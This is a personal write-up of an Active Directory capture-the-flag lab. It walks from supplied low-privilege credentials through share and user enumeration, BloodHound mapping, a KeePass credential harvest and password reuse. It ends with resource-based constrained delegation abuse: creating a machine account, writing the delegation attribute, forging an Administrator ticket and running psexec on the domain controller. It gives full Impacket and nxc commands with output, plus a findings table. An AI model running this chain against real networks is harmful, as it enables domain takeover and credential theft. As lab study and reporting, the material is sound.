☼
⌃
☰

Forward CTF

Table of Contents

Description

[ INITIAL ACCESS GRANTED ]

USER > ctf.local\j.smith PASS > JSmith@IT2024

Assumed-breach scenario: initial domain credentials are provided directly. Objective is lateral movement and privilege escalation through the domain to full control, starting from a single low-privilege foothold account.

Related: [[Denote query for ‘20260721T210000’]] BloodHound [[Denote query for ‘20260721T211500’]] Proxy CTF Resource-Based Constrained Delegation

CTF

Enumeration

Port scan

SHELL
nmap -sV -sC --open -Pn -T4 $IP
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap          Active Directory LDAP (Domain: ctf.local0.)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http
636/tcp  open  tcpwrapped
3268/tcp open  ldap
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server
| ssl-cert: Subject: commonName=DC01.ctf.local
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Host: DC01; Domain: ctf.local

Added to /etc/hosts immediately given prior experience on Proxy CTF with Kerberos operations requiring proper hostname resolution.

Share enumeration — j.smith

SHELL
nxc smb 10.130.160.125 -u 'j.smith' -p 'JSmith@IT2024' --shares
Share           Permissions     Remark
-----           -----------     ------
ADMIN$                          Remote Admin
C$                              Default share
Downloads       READ            File drop share
IPC$            READ            Remote IPC
NETLOGON        READ            Logon server share
SYSVOL          READ            Logon server share

User enumeration — RID brute force

SHELL
nxc smb 10.130.160.125 -u 'j.smith' -p 'JSmith@IT2024' --rid
500: CTF\Administrator
1609: CTF\j.smith
1610: CTF\t.jones
1611: CTF\r.williams
1612: CTF\svc.helpdesk
1613: CTF\sysadmin (alias)
1614: CTF\AppLocker-Restricted (alias)

BloodHound collection — j.smith

SHELL
bloodhound-python --zip -c All -d ctf.local -u 'j.smith' -p 'JSmith@IT2024' \
  -dc DC01.ctf.local -ns 10.130.160.125

assets/forward/20260726203059_bloodhound.zip

Pathfinding j.smith -> Domain Admins returned no result — no outbound ACL/object-control edges exist for this account. Only notable membership: Remote Desktop Users, permitting RDP to DC01.

Foothold

RDP access as j.smith

SHELL
xfreerdp3 /u:j.smith /p:'JSmith@IT2024' /d:ctf.local /v:10.130.160.125 /cert:ignore

KeePass database — Windows-account-integrated unlock

A KeePass database reachable from j.smith's session unlocks via Windows account integration rather than a master password — meaning anyone holding an authenticated session on this box inherits the vault contents with no cracking required. This is itself a reportable weakness distinct from the credential recovered from it.

Group: Database. Title: Help Desk Portal. User Name: t.jones.
Creation Time: 5/20/2026 10:42:38 AM.

IT Help Desk ticketing system credentials
password reveals to Helpdesk01!

t.jones — dead end

Credential validated but t.jones holds no interesting rights beyond RDP access, and nothing further was found on that account's session/profile.

Password reuse — r.williams

Tested the same recovered password against r.williams on the hypothesis that it was a shared/reused helpdesk-role password rather than specific to t.jones:

SHELL
nxc smb DC01.ctf.local -u 'r.williams' -p 'Helpdesk01!' --shares
[+] ctf.local\r.williams:Helpdesk01!
Share           Permissions     Remark
-----           -----------     ------
ADMIN$                          Remote Admin
C$                              Default share
Downloads       READ            File drop share
IPC$            READ            Remote IPC
NETLOGON        READ            Logon server share
SYSVOL          READ            Logon server share

Confirmed — Helpdesk01! is reused across at least two standard user accounts. Classification: Broken Authentication / Credential Reuse, independent of what r.williams turns out to unlock.

Re-ran BloodHound collection as r.williams and checked Pathfinding r.williams -> Domain Admins: found a direct chain via AddAllowedToAct on DC01.ctf.local itself — r.williams can write the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the domain controller's own computer object. This is Resource-Based Constrained Delegation (RBCD) abuse potential, distinct from Proxy CTF's classical constrained delegation (there, an existing AllowedToDelegate trust was abused; here, a write primitive is used to create a new delegation trust from scratch).

Privilege Escalation

RBCD abuse chain — write access to DC01's delegation attribute

  • Step 1: Create a controlled machine account

    Domain's default machine account quota permitted account creation with the foothold credential:

    SHELL
    impacket-addcomputer -computer-name 'FAKE01$' -computer-pass 'Fak3P@ss123!' \
      ctf.local/r.williams:'Helpdesk01!' -dc-ip 10.130.160.125
    
    [*] Successfully added machine account FAKE01$ with password Fak3P@ss123!.
    
  • Step 2: Configure RBCD on DC01, delegating from the new account
    SHELL
    impacket-rbcd -delegate-to 'DC01$' -delegate-from 'FAKE01$' \
      -action write ctf.local/r.williams:'Helpdesk01!' -dc-ip 10.130.160.125
    
    [*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
    [*] Delegation rights modified successfully!
    [*] FAKE01$ can now impersonate users on DC01$ via S4U2Proxy
    
  • Step 3: S4U2Self / S4U2Proxy — forge ticket impersonating Administrator
    SHELL
    impacket-getST -spn cifs/DC01.ctf.local -impersonate Administrator \
      ctf.local/FAKE01\$:'Fak3P@ss123!' -dc-ip 10.130.160.125
    
    [*] Getting TGT for user
    [*] Impersonating Administrator
    [*] Requesting S4U2self
    [*] Requesting S4U2Proxy
    [*] Saving ticket in Administrator@cifs_DC01.ctf.local@CTF.LOCAL.ccache
    
  • Step 4: Authenticate to the DC using the forged ticket
    SHELL
    export KRB5CCNAME=Administrator@cifs_DC01.ctf.local@CTF.LOCAL.ccache
    impacket-psexec -k -no-pass -target-ip 10.130.160.125 DC01.ctf.local
    

    Initial attempt without -target-ip timed out on connection despite a fully valid, unexpired ticket (confirmed via klist) and confirmed port 445 reachability (nc -zv) — root cause was Impacket's own hostname resolution during the SMB connection step, not the Kerberos chain itself. Explicitly separating the SPN hostname (needed for ticket matching) from the connection IP via -target-ip resolved it. Worth remembering as a standard troubleshooting step for any Kerberos-authenticated Impacket call that times out despite a valid ticket.

    Flag recovered:

    c:\Users\Administrator\Desktop> type flag.txt
    THM{RBCD_S4U2Pr0xy_T1ck3t_Th3ft_2_DA}
    

Flags

Flag Value Status
Administrator THM{RBCDS4U2Pr0xyT1ck3tTh3ft2DA} DONE

Findings Summary

Finding Classification Severity
KeePass database unlocks via Windows account integration Security Misconfiguration High
Password reused across multiple standard user accounts Broken Authentication / Credential Reuse High
r.williams holds write access to DC01's delegation attribute Broken Access Control (AD) — Resource-Based Constrained Delegation Abuse Critical
Default machine account quota permits arbitrary computer creation Security Misconfiguration (contributing factor to RBCD abuse) Medium

Notes

Full assumed-breach chain, entirely personally executed: initial foothold -> RDP pivot -> Windows-integrated KeePass credential harvest -> password reuse confirmed across a second account -> BloodHound-guided RBCD discovery -> machine account creation -> RBCD configuration -> S4U2Self/S4U2Proxy ticket forgery -> DA.

Distinct AD delegation primitive compared to Proxy CTF: that room abused an existing AllowedToDelegate trust (classical constrained delegation); this room required creating a new delegation trust via a write permission on the target resource itself (RBCD). Worth a short technique note on RBCD specifically, cross-linked from Constrained Delegation, given these are commonly confused but have different abuse mechanics and different remediation (RBCD is fixed by restricting who can write msDS-AllowedToActOnBehalfOfOtherIdentity; classical constrained delegation is fixed by removing the AllowedToDelegateTo entry).

Good example of "path only appears after a credential/context upgrade" — j.smith had zero outbound ACL edges to Domain Admins; the RBCD path only became visible after pivoting to r.williams via password reuse. Reinforces re-running BloodHound collection after every credential upgrade, not just at the start of an engagement.